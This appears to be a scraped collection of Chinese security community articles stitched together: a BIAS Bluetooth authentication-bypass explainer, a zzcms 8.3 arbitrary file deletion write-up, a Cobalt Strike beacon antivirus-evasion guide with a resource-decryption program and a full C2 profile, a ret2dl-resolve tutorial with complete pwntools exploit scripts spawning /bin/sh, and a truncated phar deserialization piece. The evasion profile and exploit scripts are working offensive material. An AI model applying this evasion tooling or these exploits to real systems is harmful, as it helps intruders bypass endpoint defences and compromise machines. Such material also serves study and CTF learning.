本文中，我们关注的是 combination key。该 link key 由两个已经配对的 BR/EDR 设备共享。它主要有如下两个作用：
1、已配对设备再次连接对方时，会使用 link key 鉴权：
2、鉴权通过后，连接双方可以使用 link key 导出用于加密后续通信数据的 encryption key。
本文分析的 BIAS (Bluetooth Impersonation AttackS) 漏洞影响了前者，而后者也曝出过 KNOB (Key
Negotiation Of Bluetooth) 漏洞。概括的说，BIAS 利用如下三点绕过了 BR/EDR 设备的鉴权机制：
Legacy authentication 允许单边鉴权
Secure authentication 可协商降级为 legacy authentication
经典蓝牙允许 master 与 slave 角色转换
下面将分别分析这三个弱点。
**Legacy Authenticationd 单边鉴权**
Legacy authentication 定义了两个角色 verifier 与 claimant。鉴权的具体流程如下：
首先 verifier 把一个随机数 RAND 发送给 claimant，向它发起挑战。之后 verifier 与 claimant
会各自在本地使用固定的算法 E1 计算 SRES (Signed RESponse)：
SRES = E1(link_key, claimant_bd_addr, RAND)
同时 claimant 会将计算得到的 SRES 回传给 verifier。Verifier 则比较该 SRES 与自己计算的 SRES’
是否相同。如果相同则鉴权通过。
可见 legacy authentication 并未强制要求 claimant 反过来验证 verifier 的身份。那么攻击者可以伪装成
verifier，在不知道 link key 的情况下，略过 SRES’ 与 SRES 的比对，直接让 claimant 通过鉴权。
**Secure Authentication 降级**
在 2020 年，绝大多数 BD/EDR 设备都支持 secure authentication，且默认启用。具体的鉴权流程如下：
从上图可知这种鉴权方法是双向的，因此 legacy Authenticationd 单边鉴权的弱点不能被直接利用。不过，为了兼容较老的仅支持 legacy
authentication 的设备，经典蓝牙允许设备间协商鉴权方法。如果一方设备仅支持 legacy authentication，那么 secure
authentication 将不被启用。
具体的，当两个设备的 controller 与 host 都支持 secure connection 特征时，secure authentication
才会被启用。于是攻击者可以伪造不支持 secure connection 特征的设备，即可降级 secure Authentication 为 legacy
authentication，从而继续利用旧鉴权方法单边认证的弱点：
**Master 与 Slave 角色转换**
攻击者在利用 legacy authentication 的单边鉴权弱点攻击目标时，可能并不知道目标的上层应用要求 master 鉴权 slave 还是
slave 鉴权 master，即不确定自己应该扮演 slave 还是 master。
不过，经典蓝牙允许 master 与 slave 的角色转换，具体流程如下：
这样攻击者就可以灵活切换自己的角色，让自己成为 verifier，始终掌握主动权。
**总结**
需要明确的是，虽然 BIAS 可以绕过鉴权，但它仍不能获取 link key，即无法在鉴权后与目标进行加密数据的交互。不过该限制正好可以被 KNOB
突破，所以 BIAS + KNOB 这套组合拳威力巨大，动摇了经典蓝牙安全的根基。
另外 BIAS 攻击的前提是获取已经与目标设备配对的其他设备地址，这个地址用于发起连接后，跳过配对过程，直接进入存在漏洞的鉴权过程。
**References**
BIAS
BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part F page 723, 4.1 AUTHENTICATION REQUESTED
BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part H page 972, 5 AUTHENTICATION
BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part H page 982, 6.4 E3-KEY GENERATION FUNCTION FOR ENCRYPTION | 社区文章 |
# zzcms 8.3 任意文件删除漏洞深入思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在分析的已经有的cve的过程中，发现了zzcms 8.3对比之前版本的功能上改进，于是顺便跟进看一下，有没有什么问题，果然发现了问题。
## CMS中有关文件存储的实现
因为我自己也做过类似cms的很多项目，所以在这个地方也比较敏感。
一般我实现文件存储的几个习惯：
1. 统一文件夹存放
2. 数据库记录存储路径
3. 对于入库记录进行严格的防注入和文件上传检测，采用白名单方式来检查后缀，黑名单过滤上跳等操作，严格做到数据库与文件同步
4. 能用云存储就用，实在不能用在自己写
5. 尽量少的使用文件删除功能
## zzcms中采用的方式存在的问题
### 核心-差异的产生
首先是入库的位置，用户在上传自己头像的时候，是通过弹出小窗来实现的，默认储存文件文件夹是/uploadfiles/Y-m/:
而且这里是允许使用网络图片的：
但是有一点做的比较不好，就是在这个页面的交互以后，是通过js的callback，回调给了ckeditor，最后的地址可以直接抓包看到，并且修改。
这就导致了实际文件夹中的文件会和数据库中的文件不一样，导致了差异的产生，其实这就和orange大佬，在Black Hat USA 2018和DEFCON
26上讲过的很像，不过这里是很浅显易懂的。
总结一下zzcms的实现方式：
1. 统一文件夹存放
2. 数据库记录存储路径
3. 没有做到文件与数据库同步，过于相信了用户的输入
### 过滤不严格
按照上面的分析，数据库和实际文件会产生差异，然后来看一下zzcms的有关文件操作部分：
这段代码在系统中很常见，可以看到实际操作文件的时候，还是以数据库中为准的，并且没有进行有效的过滤，所以前面造成的差异是能直接影响到文件操作的。
有关已经存在的几个任意文件删除漏洞，可以查看我之前在发的文章。
[zzcms v8.2 中的众多cve分析](https://www.anquanke.com/post/id/153885)和[zzcms 8.3
最新CVE漏洞分析](https://www.anquanke.com/post/id/156660).其中的大部分都是这里产生的问题
### 实现文件删除的方式
系统中在删除某个信息的时候，是会删除有关的文件的，或者是更改信息的时候，也是会删除原来数据库中存的文件路径，这两个都可能会导致任意文件删除。
可以说是只要有这段代码的地方，都可以产生这个漏洞，而这个问题的核心就是前面写到的差异化的产生。
### 发现新添加业务的问题
经过简单的观察，8.3版本对比8.2版本，添加了一个介绍视频的功能，但是这个功能需要管理员主动开启，并且需要用户开通高级用户特权才可以使用，但是这里也是存在问题的：
有关视频的变量主要是$flv:
可以看到处理流程和之前的img是一样的，所以也是可能存在问题的，经过简单测试发现是可行的，下面简单写一下攻击步骤：
1. 管理员开启插入视频开关：
2. 在发布信息的时候，同样使用网络地址，然后抓包，将flv改成要删除的文件名，点击发送，脏数据就放到了数据库中：
3.然后同样在删除的页面，只要发送id和tablename就可以触发删除操作：
4.刷新页面，就可以看到我们上面写的/install/install.lock文件被删除了：
## 修复建议
因为产生漏洞的核心点是在上传文件的时候，采用的js
callback回传的消息，然后在采用提交字符串的形式插入数据库，这中间数据的篡改。所以修复的关键点就在了这里，而且涉及到了数据库的设计问题，下面详细写一下：
1. 将文件路径的有关存储分离出来，单独做个表。
2. 在用小窗上传文件的时候，做到存储文件并且插入数据库，返回文件编号id
3. 用户传入广告信息的时候，只传入文件id，作为外键，检查文件是否是该用户传入的，然后正常返回
画个图容易理解：
这样就能有效防止任意文件删除漏洞的产生了。当然这也只是我自己结合自己的一些经验提出的，如果有大佬有更好的解决方案，也欢迎大佬指教哈！ | 社区文章 |
### 1.起始
在使用cobalt strike 的过程中，卡巴斯基对默认cs
4.1版本生成的beacon进行疯狂的内存查杀，特征多达6个。本次采用手动定位法确认特征，并通过修改配置达到内存免杀效果。
### 2.解密
从cs4.x开始，对beacon等资源进行了加密，需要解密后才能获得原始dll，为了更快测试修改后的dll，对cs的加载资源代码进行修改，让其可以直接加载未经加密的beacon.dll（感谢WBGII的解密脚本）
cs的资源放在sleeve文件夹内,cs的功能代码为beacon.dll /beacon.x64.dll，是内存查杀重点关注的对象
cs读取资源代码如下
对资源进行解密
//Author: WBGII
package csdecrypt;
import common.SleevedResource;
import java.io.*;
public class Main {
public static void saveFile(String filename,byte [] data)throws Exception{
if(data != null){
String filepath =filename;
File file = new File(filepath);
if(file.exists()){
file.delete();
}
FileOutputStream fos = new FileOutputStream(file);
fos.write(data,0,data.length);
fos.flush();
fos.close();
}
}
public static byte[] toByteArray(File f) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
BufferedInputStream in = null;
try {
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
byte[] buffer = new byte[buf_size];
int len = 0;
while (-1 != (len = in.read(buffer, 0, buf_size))) {
bos.write(buffer, 0, len);
}
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}
public static void main(String[] var0) throws Exception {
byte[] csdecrypt = new byte[]{1, -55, -61, 127, 102, 0, 0, 0, 100, 1, 0, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6};
SleevedResource.Setup(csdecrypt);
byte[] var7=null;
File file = new File("sleeve");
File[] fs = file.listFiles();
for(File ff:fs){
if(!ff.isDirectory())
var7 = SleevedResource.readResource(ff.getPath());
saveFile("sleevedecrypt\\"+ff.getName(),var7);
System.out.println("解密成功:"+ff.getName());
}
}
}
解密后对cs的代码进行修改，让其直接可以加载为无加密的资源（资源替换sleeve文件夹）
/common/SleevedResource.class
去掉解密过程，让其直接读取字节数组后返回，使用javac编译，替换原有的class
### 3.测试
将解密后的beacon.dll载入内存，使用KAP查杀，发现其并无Cobalt.gen报毒，但是修补后的payload存在报毒，遂怀疑为cs生成payload的过程中往里面加了东西导致该特征出现。
使用Beyond Compare比对原始dll和生成后的payload，发现生成后的payload多出很多字符串
对这些多出的字符串进行删除，发现少了三个报毒，断定其是Cobalt.gen报毒的原因，发现默认的c2
profile中会添加这些垃圾字符串，并没啥用（坑人），直接删除
删除后，将payload载入，发现卡巴不报Cobalt.gen。前三个特征处理完毕。
### 4.最后两个
后续两个报毒如下：
MEM:Trojan.Win32.Cometer.gen
MEM:Trojan.Win32.SEPEH.gen
使用排列组合对区段进行清除以排查，清除rdata和data后发现载入内存后不杀。
发现rdata中出现敏感字符串ReflectiveLoader，遂修改，过了Cometer.gen
transform-x86 {
strrep "ReflectiveLoader" "misakaloader";
}
修改前：
修改后:
继续排查，单独提取rdata区段载入内存，发现其报毒SEPEH，就此确认这个查杀点位于此处。使用工具对其他字符清除，发现其继续报毒。为启发式查杀。随后在rdata区域发现如下内容
根据经验猜测修改Sleep，载入后发现KAP不查杀了，看来最后一个特征就是这里了。发现这里是IAT，准备想办法自行加密IAT。咨询WBGII大佬后，知晓c2
profile可以开启加密混淆IAT，遂使用配置 set obfuscate "true"; 成功bypass最后一个报毒。
手动扫描内存
### 5.提示
由于分阶段的payload存在其他特征，请不要使用。生成stageless payload自行接管远程加载
<https://wbglil.gitbook.io/cobalt-strike/>
再次鸣谢WBGII大佬的配置帮助
最后附上c2 profile 文件
# default sleep time is 60s
set sleeptime "10000";
# jitter factor 0-99% [randomize callback times]
set jitter "0";
# maximum number of bytes to send in a DNS A record request
set maxdns "255";
# indicate that this is the default Beacon profile
set sample_name "001";
stage {
set stomppe "true";
set obfuscate "true";
set cleanup "true";
transform-x86 {
strrep "ReflectiveLoader" "misakaloader";
}
transform-x64 {
strrep "ReflectiveLoader" "misakaloader";
}
}
# define indicators for an HTTP GET
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";
}
}
server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
# define indicators for an HTTP POST
http-post {
# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
set uri "/submit.php";
client {
header "Content-Type" "application/octet-stream";
# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";
}
# post our output with no real changes
output {
print;
}
}
# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";
# this will just print an empty string, meh...
output {
print;
}
}
} | 社区文章 |
记录一下学习ret2dl-resolve的曲折历程。可能顺带回顾一下之前的内容。这篇文章会尽量讲清楚利用过程。
# 前置知识
首先需要了解构成elf文件的section header
table，在后面的分析中主要涉及到三个section：.dynsym，.rela.plt和.dynstr
.rela.plt节(JMPREL段)的[结构体](https://code.woboq.org/userspace/glibc/elf/elf.h.html#660)组成如下:
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
r_offset: 该函数在.got.plt中的地址
**r_info** : 包含该函数在.dynsym节中的索引和重定位类型
r_addend: 指定用于计算要存储到可重定位字段中的值的常量加数
.dynsym节(SYMTAB段)的[结构体](https://code.woboq.org/userspace/glibc/elf/elf.h.html#529)组成：
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
**st_name** : 该值为此函数在.dynstr中的偏移，其中包含符号名称的字符表示形式。
.rel.plt内[结构体](https://code.woboq.org/userspace/glibc/elf/elf.h.html#634)组成：
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
r_offset: 该函数在.got.plt中的地址
**r_info** : 包含该函数在.dynsym节中的索引和重定位类型
.dynsym内[结构体](https://code.woboq.org/userspace/glibc/elf/elf.h.html#519)组成：
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
**st_name** : 该值为此函数在.dynstr中的偏移，其中包含符号名称的字符表示形式。
以前做protostar的时候简单学习过一次plt和got，但当时仅限于plt和got表间的跳转
**[[传送门]](https://muirelle.com/2018/10/17/Liveoverflow-0x13-format4/ "传送门")**
，最后的分析止步于`dl_runtime_resolve`。这次的ret2dl-resolve就会涉及到`dl_runtime_resolve`这个函数内的具体实现，并加以利用。
要利用这个函数首先就要理清他的内部逻辑，以及涉及到的各种结构体。在学习了多个大佬的博客之后，终于慢慢理解了got表中函数的地址是怎么样一步一步从无到有的(我太菜了)。为了便于自己理解，我把整个过程称作
**三次跳跃** (三级跳是不是好听点:p)。
# 跟踪
观察`puts`函数从被调用，到完成其重定向的整个过程。(用例为64位elf)
这是调用`dl_runtime_resolve`前的流程，用一张图可以很直观的展示出来。可以看到，在 **0x4005c0** 和 **0x4005d6**
处push的分别是它的两个参数link_map和reloc_offset。
此时程序流程进入到`dl_runtime_resolve`中，开始重定向操作。而真正的重定向由`dl_runtime_resolve`中的`_dl_fixup`完成。
`_dl_fixup`的源码在[这里](https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#59)：
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
`_dl_fixup`的参数由`dl_runtime_resolve`压栈传递，即link_map和reloc_offset(由前面宏定义可知reloc_offset和reloc_arg是一样的)
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
`line9`到`line13`(后面简写为l)从link_map中获取.dynsym，.rela.plt，.dynstr等节的地址。
reloc_offset的 **值用于指示包含该函数某些信息的结构体在<font color=#fc97c9>.rela.plt</font>节中的位置**
.rela.plt段中能看到puts对应的结构体，其info的值为0x100000007,从中提取到的.dynsym索引为1，重定位类型为7(即R_386_JMP_SLOT)
R_386_JMP_SLOT
Created by the link-editor for dynamic objects to provide lazy binding.
Its offset member gives the location of a procedure linkage table entry.
The runtime linker modifies the procedure linkage table entry to transfer control to the designated symbol address.
至此，通过reloc_offset进行的第一次跳跃完成，现在需要使用r_info进行第二次跳跃。已经从link_map获取了.dynsym的起始地址，所以puts在
**<font color=#fc97c9>.dynsym</font>**中的位置是.dynsym[1]。
**从puts在.dynsym中的Elf64_Sym结构体成员st_name找到了其名称的字符串在.dynstr中的偏移为0x10**
，至此完成了第二次跳跃。同前面一样，由 **.dynstr** 的起始地址加上偏移就能在.dynstr中找到该函数对应符号的字符串。现在进行第三次跳跃。
由起始地址(0x4003e8)加上偏移(0x10)得到的字符串则是预期中的`puts`(0x4003f8),最后一跳完成。
三次跳跃示意图
这个字符串作为`l47`的`_dl_lookup_symbol_x`函数的参数之一，返回值为libc基址，保存在result中。`l58`的`DL_FIXUP_MAKE_VALUE`宏从已装载的共享库中查找puts函数的地址，对其重定位后加上该程序的装载地址，得到puts函数的真实地址，结果保存在value中。最后调用`elf_machine_fixup_plt`，向puts函数对应got表中填写真实地址，其中参数rel_addr为之前算出的该函数got表地址(0x620018)。
到此为止puts函数已经完成重定向，利用的方式也很显然： **即首先构造fake
reloc_arg使得.rela.plt起始地址加上这个值后的地址落在我们可控的区域内，接着依次构造fake
.dynsym和.dynstr，形成一个完整的fake链，最后在.dynstr相应位置填写system就可以从动态库中将system的真实地址解析到puts的got表项中，最终调用puts实际调用的则是system。**
但是想要成功利用的话还有一个地方需要注意，在源码的`l26`到`l33`：
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
这段代码取r_info的高位作为vernum的下标，访问对应的值并赋给ndx，再从l_versions中找到对应的值赋给version。
问题在于，我们构造的fake链一般位于bss段(64位下，bss段一般位于0x600000之后)，.rela.plt一般在0x400000左右,所以我们构造的r_info的高位:reloc_arg一般会很大，又因为程序计算`&symtab[ELFW(R_SYM)
(reloc->r_info)]`和`vernum[ELFW(R_SYM)
(reloc->r_info)]`时使用下标的数据类型大小不同(symtab中的结构体大小为0x18字节，[vernum](https://code.woboq.org/userspace/glibc/elf/elf.h.html#Elf64_Half)的数据类型为uint16_t，大小为0x2字节)，这就导致`vernum[ELFW(R_SYM)
(reloc->r_info)]`大概率会访问到0x400000到0x600000之间的不可读区域(64位下，这个区间一般不可读)，使得程序报错。
如果使得`l->l_info[VERSYMIDX (DT_VERSYM)]`的值为0，就可以绕过这块if判断，而`l->l_info[VERSYMIDX
(DT_VERSYM)]`的位置就在link_map+0x1c8处，所以需要泄露位于0x620008处link_map的值，并将link_map+0x1c8置零。
这种攻击方式依赖源程序自带的输出函数。
# x64
[题目](https://pan.baidu.com/s/1ox8br4GyaffXj8WytG67-g)
提取码：eo5z
之前第五空间比赛的一道题目，本身很简单，坑的是泄露libc之后无论如何都找不到对应的libc版本。这时就需要ret2dl-resolve(把所有libc
dump下来挨个找也行。。)
刚才分析的用例就是这道题中的puts函数，已经分析的差不多了，剩下的就是精确计算偏移。
首先泄露link_map地址：
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
loop回start函数继续利用溢出覆盖link_map+0x1c8、构造fake链：
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18 #Elf64_Rela大小为0x18字节，所以按0x18对齐
base_addr = base_addr + align #对齐后为0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18 #获得fake .rela.plt偏移
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18 #获得fake .dynsym偏移
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
base_addr为puts在fake
.rela.plt的地址，这个位置选在了.data段，因为此段有很大一部分都是可写并且不会影响其他功能，所以在这一段中随便选了一个地址。由于后面有对齐操作，所以这里的base_addr故意没有对齐。
base_addr处，构造后的fake链：
* 红色fake .rela.plt
* 蓝色fake .dynsym
* 绿色system和/bin/sh
最终payload：
from pwn import *
#-*- coding:utf-8 -*- context.log_level = 'debug'
r = process('./pwn')
#gdb.attach(r)
elf = ELF('./pwn')
puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630
puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048
pop_rdi = 0x414fc3
pop_rsi_r15 = 0x414fc1
read_func = 0x4007e2
plt_addr = 0x4005c0
data_addr = 0x620060
got_plt_addr = 0x620000
pop_rbp_ret = 0x4006b0
leave_ret = 0x4039a3
dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8
start = 0x400650
main = 0x4007c3
r.sendline('-1')
r.recvuntil('GOOD?\n')
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18
base_addr = base_addr + align #0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
log.info("base_addr: "+hex(base_addr))
log.info("reloc_arg: "+hex(reloc_arg))
log.info("dynsym_off: "+hex(dynsym_off))
log.info("system_off: "+hex(system_off))
log.info("bin_sh_addr: "+hex(bin_sh_addr))
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
log.success('link_map_addr: ' + hex(link_map_addr))
r.sendline('-1')
r.recvuntil('GOOD?\n')
payload2 = p8(0)*0x18
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x20)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(link_map_addr + 0x1c0)
payload2 += p64(read_func)
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x100)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(base_addr - 0x8)
payload2 += p64(read_func)#读取fake链到可控制区域(.data)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(plt_addr) #跳转到PLT[0]，push link_map后执行dl_runtime_resolve
payload2 += p64(reloc_arg) #跳转到dl_runtime_resolve后，此处为rsp+0x10，被视为reloc_arg
payload2 += p8(0)*(0x100 - len(payload2))
r.send(payload2)
r.send(p8(0)*0x20)
payload3 = p8(0)*6
payload3 += p64(read_got)
payload3 += p32(0x7) + p32(dynsym_off)
payload3 += p64(0)
payload3 += p32(system_off) + p32(0x12)
payload3 += p64(0)*2
payload3 += 'system\x00\x00'
payload3 += '/bin/sh\x00'
payload3 += p8(0)*(0x100 - len(payload3))
r.send(payload3)
r.interactive()
# x86
[题目](https://pan.baidu.com/s/1hu_czPQxkyge37Zn68jQYA)
提取码：ofc6
ctf wiki上的一道题，XDCTF 2015的pwn200。
x86下的结构体和x64略有不同，但利用方法大同小异。
x86下的JMPREL段对应.rel.plt节，而不是x64下的.rela.plt节
找到.rel.plt起始地址
和.dynsym起始地址
之后就是慢慢调整偏移
from pwn import *
context.log_level = 'debug'
r = process('./pwn200')
elf = ELF('./pwn200')
#gdb.attach(r)
write_plt = elf.symbols['write']
write_got = elf.got['write']
read_plt = elf.symbols['read']
read_got = elf.got['read']
start = 0x80483D0
ppp_ret = 0x080485cd
pop_ebp = 0x08048453
leave = 0x08048481
rel_plt = 0x8048318
plt0 = 0x8048370
dynsym = 0x80481D8
dynstr = 0x8048268
#构造fake地址
#这里手动对齐了，所以省去了对齐操作。Elf32_Rel大小为0x10字节，所以除0x10
base_addr = 0x804a800
reloc_arg = base_addr + 0x28 - rel_plt
dynsym_off = (base_addr + 0x38 - dynsym) / 0x10
system_off = base_addr + 0x48 - dynstr
binsh_addr = base_addr + 0x50
r_info = (dynsym_off << 8) | 0x7
log.success('reloc_arg: ' + hex(reloc_arg))
log.success('dynsym_off: ' + hex(dynsym_off))
log.success('system_off: ' + hex(system_off))
log.success('binsh_addr: ' + hex(binsh_addr))
log.success('r_info: ' + hex(r_info))
bss = 0x804a020
payload = 'a'*0x6c + 'a'*4
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_addr)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(base_addr)#这里可以改成base_addr-4提前平衡leave的pop操作，后面的偏移会好算点
payload += p32(leave)
r.recvuntil('Welcome to XDCTF2015~!')
r.sendline(payload)
payload = 'aaaa' #因为leave返回前有pop操作，所以这里填充4字节以平衡栈
payload += p32(plt0)
payload += p32(reloc_arg)
payload += 'a'*4 #不需要返回地址，这里为填充字符
payload += p32(binsh_addr) #plt0最后相当于调用system，所以这里为system的参数地址
payload += 'a'*0x14
payload += p32(read_got)
payload += p32(r_info)
payload += 'a'*8
payload += p32(system_off)
payload += p32(0)*2
payload += p32(0x12)
payload += 'system\x00\x00'
payload += '/bin/sh\x00'
payload += 'a'*(100-len(payload))
r.sendline(payload)
r.interactive()
# 结语
继ret2shellcode，ret2libc，ret2text，ret2syscall等ROP技巧之后，我以为ret2dlresolve会一样的简单，事实证明不能以貌取人。学习这个利用方法的过程中最大的感受就是它不仅利用难度提高了，对偏移计算的要求也非常苛刻，在三次跳跃的过程中，任何误差都会导致无法get
shell。
参考链接：
<http://pwn4.fun/2016/11/09/Return-to-dl-resolve/>
<https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html>
<https://bbs.pediy.com/thread-253833.htm>
<https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#5reloc>
<http://rk700.github.io/2015/08/09/return-to-dl-resolve/>
<https://code.woboq.org/userspace/glibc/elf/elf.h.html#660>
<https://blog.csdn.net/conansonic/article/details/54634142>
<https://www.cnblogs.com/ichunqiu/p/9542224.html>
<https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/> | 社区文章 |
# Blackhat议题解读 | phar反序列化
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/WKI87TXeWqJ_DdFjLiryZQ>
译文仅供参考，具体内容表达以及含义原文为准。
> 本文来自 ChaMd5安全团队审计组 呆哥，文章内容以思路为主。
## 引言
在Blackhat2018，来自Secarma的安全研究员Sam
Thomas讲述了一种攻击PHP应用的新方式，利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。
## 漏洞原理
漏洞触发点在使用phar://协议读取文件的时候，文件内容会被解析成phar对象，然后phar对象内的Metadata信息会被反序列化。其实这个漏洞点并不是第一次出现，早在hitcon2017就被Orange大佬用来出CTF题了（见baby^h-master-php-2017）。从PHP官方手册中我们可以看到Meta-data是用serialize()生成并保存在phar文件中的：
跟进PHP内核可以看到，当内核调用phar_parse_metadata()解析metadata数据时，会调用php_var_unserialize()对其进行反序列化操作，因此会造成反序列化漏洞。
## 漏洞利用
在Sam
